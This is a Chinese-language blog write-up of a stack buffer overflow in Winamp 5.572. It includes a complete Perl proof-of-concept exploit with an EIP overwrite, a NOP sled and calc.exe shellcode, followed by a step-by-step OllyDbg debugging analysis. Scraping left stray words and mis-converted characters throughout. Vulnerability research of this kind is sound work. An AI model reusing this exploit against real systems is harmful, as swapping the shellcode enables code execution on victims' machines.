Winamp棧溢出漏洞研究

Winamp做爲一款在90年代最主流的音樂播放器,到如今仍有大量的忠實粉絲。固然也存在不少漏洞。下面具體分析的就是打開軟件的更新歷史信息而觸發的一個緩衝區溢出漏洞。shell

 

0X01漏洞重現windows

正常的whatsnew.txt文件位於Winamp文件夾中,保存的是軟件的更新歷史信息。咱們爲了重現漏洞,須要將特殊構造的whatsnew.txt覆蓋掉原始的txt文件。而後打開Winamp,在菜單欄的HELP中選擇「About Winamp」,在彈出的對話框中選擇「Version history」。就觸發了漏洞利用代碼,彈出來一個做爲測試用的計算器。在此感謝i春秋提供的實現環境以及POC代碼。函數

 

0X02漏洞利用代碼分析測試

既然咱們已經觸發了漏洞,那麼咱們能夠進一步分析一下漏洞出現的緣由。查看一下它的POC代碼,是利用Perl語言編寫的:spa

 

my $version = "Winamp 5.572";  
my $junk = "\x41" x 540;  
my $eip = "\xad\x86\x0e\x07"; 
# overwrite EIP - 070E86AD    FFD4    CALL ESP nde.dll  
my $nop = "\x90" x 100;  
my $shellcode =  
# windows/exec cmd=calc.exe  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".  
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x47".  
"\x58\x30\x42\x31\x50\x42\x41\x6b\x42\x41\x57\x42\x32\x42\x41\x32".  
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x78\x69\x6b\x4c\x6a".  
"\x48\x53\x74\x67\x70\x67\x70\x75\x50\x4e\x6b\x53\x75\x65\x6c\x6e".  
"\x6b\x51\x6c\x46\x65\x70\x78\x43\x31\x68\x6f\x4e\x6b\x30\x4f\x54".  
"\x58\x6e\x6b\x73\x6f\x57\x50\x67\x71\x58\x6b\x77\x39\x4c\x4b\x64".  
"\x74\x6c\x4b\x57\x71\x5a\x4e\x76\x51\x49\x50\x6e\x79\x6e\x4c\x4f".  
"\x74\x4b\x70\x70\x74\x37\x77\x69\x51\x48\x4a\x64\x4d\x43\x31\x4f".  
"\x32\x7a\x4b\x48\x74\x55\x6b\x72\x74\x34\x64\x77\x74\x70\x75\x4d".  
"\x35\x6c\x4b\x71\x4f\x75\x74\x36\x61\x48\x6b\x41\x76\x4c\x4b\x44".  
"\x4c\x70\x4b\x4e\x6b\x63\x6f\x55\x4c\x33\x31\x68\x6b\x4e\x6b\x35".  
"\x4c\x4e\x6b\x34\x41\x6a\x4b\x6c\x49\x33\x6c\x35\x74\x64\x44\x4a".  
"\x63\x34\x71\x4b\x70\x63\x54\x6e\x6b\x71\x50\x76\x50\x4f\x75\x4b".  
"\x70\x72\x58\x74\x4c\x4c\x4b\x77\x30\x76\x6c\x4c\x4b\x44\x30\x57".  
"\x6c\x6c\x6d\x6e\x6b\x75\x38\x54\x48\x58\x6b\x73\x39\x6e\x6b\x4b".  
"\x30\x4e\x50\x37\x70\x67\x70\x37\x70\x6c\x4b\x62\x48\x45\x6c\x63".  
"\x6f\x35\x61\x39\x66\x35\x30\x50\x56\x4d\x59\x48\x78\x6e\x63\x59".  
"\x50\x43\x4b\x66\x30\x43\x58\x68\x70\x6f\x7a\x43\x34\x33\x6f\x73".  
"\x58\x4f\x68\x6b\x4e\x6d\x5a\x46\x6e\x72\x77\x6b\x4f\x78\x67\x63".  
"\x53\x62\x41\x30\x6c\x55\x33\x64\x6e\x42\x45\x70\x78\x32\x45\x33".  
"\x30\x47";  

open (myfile,'>> whatsnew.txt');  
print myfile $version.$junk.$eip.$nop.$shellcode;  

print "[+] whatsnew.txt written.\n";  
print "[ ] Now copy it to your winamp folder...\n";  
print "[ ] Run winamp and hit [About Winamp]->[Version History]\n";

 

首先看一下倒數第四條語句,它實際上是漏洞利用的代碼的格式,一共是五塊內容,即version+junk+eip+nop+shellcode。其中的version是當前軟件的版本,這裏是5.572版;junk是一段填充代碼,這裏是540個0x41,也就是大寫字母A,填充的做用就是爲了接下來的返回地址的覆蓋;eip則是咱們將要覆蓋的返回地址,這裏是0x070e86ad;nop位置是100個0x90;最後就是ShellCode代碼了。調試

 

0X03漏洞的調試code

爲了調試這個漏洞,咱們能夠結合構造好的whatsnew.txt進行。blog

首先是定位漏洞出現的位置,而後在相應的位置下斷點進行分析。咱們之前的作法是在相似於strcpy這一類的函數上下斷點,而後逐個斷點進行分析,或者在相似於fopen這樣的函數上下斷點。固然方法是五花八門的,無論是哪一種方法,基本都是能夠達到目的的。那麼針對於此次的程序來講,既然咱們已經知道程序會打開whatsnew.txt這個文件,那麼不妨在程序中查找一下這個字符串,而後再進行分析。ip

首先利用OD載入winamp.exe程序,在反彙編代碼區域單擊鼠標右鍵,選擇「查找」中的「全部參考文本字串」。內存

以後選擇最上面的條目,表示從最開始位置進行搜索。單擊鼠標右鍵,選擇「查找文本」,輸入咱們要查找的字符串名稱「whatsnew.txt」,再單擊肯定:

接下來咱們能夠分別查看一下這兩處語句。可能這兩處語句自己並非fopen函數的參數語句,不過沒有關係,相信距離fopen也不會太遠。首先雙擊第一個結果,來到其反彙編代碼的位置,而後在該位置上下觀察一下,就能夠找到疑似文件打開語句的位置了:

 

 

能夠先在0x004015EE處下一個斷點,而後按F9讓程序運行起來,依據以前講過的步驟來觸發漏

洞,因而程序就停在了0x004015EE的位置。這裏最開始是利用malloc語句申請大小爲0x20000

的內存空間,返回值就是所分配的空間的地址,我這裏是0x0286C008。以後調用wfopen來打開

whatsnew.txt文件。再調用fread函數。經過分析這個函數的參數能夠知道,fread函數會將文件內容讀入剛纔所分配的空間中。而後利用strncmp函數進行比對:

 

可見,這裏是在驗證所讀取的whatsnew.txt文件的最開始9個字符是否爲「Winamp 5.」驗證經過纔可以進行下一步的操做。這也就說明了,爲何須要在漏洞利用的代碼中,添加version的信息。而後就來到了最重要的字符串拷貝函數的位置:

 

這裏是將從whatsnew.txt文件讀取出來的內容拷貝到地址爲0x00BDEBAC的位置中。咱們能夠按

F8步過這個函數來看一下:

 

能夠看到程序使用的是call esp的方法,此時的esp所保存的地址爲0x00BDEDE8,正好落在了

0x90也就是nop的區段中,在這些0x90的後面,就是ShellCode了。

 

0X04總結

此次咱們所討論的是創建在他人ShellCode代碼基礎上的漏洞分析。可見即使是前輩高人的代碼

,也不見得就很管用。所以這就須要咱們不斷地進行嘗試與研究,將他人的思想學到手,纔可以

不斷地提升。

相關文章
相關標籤/搜索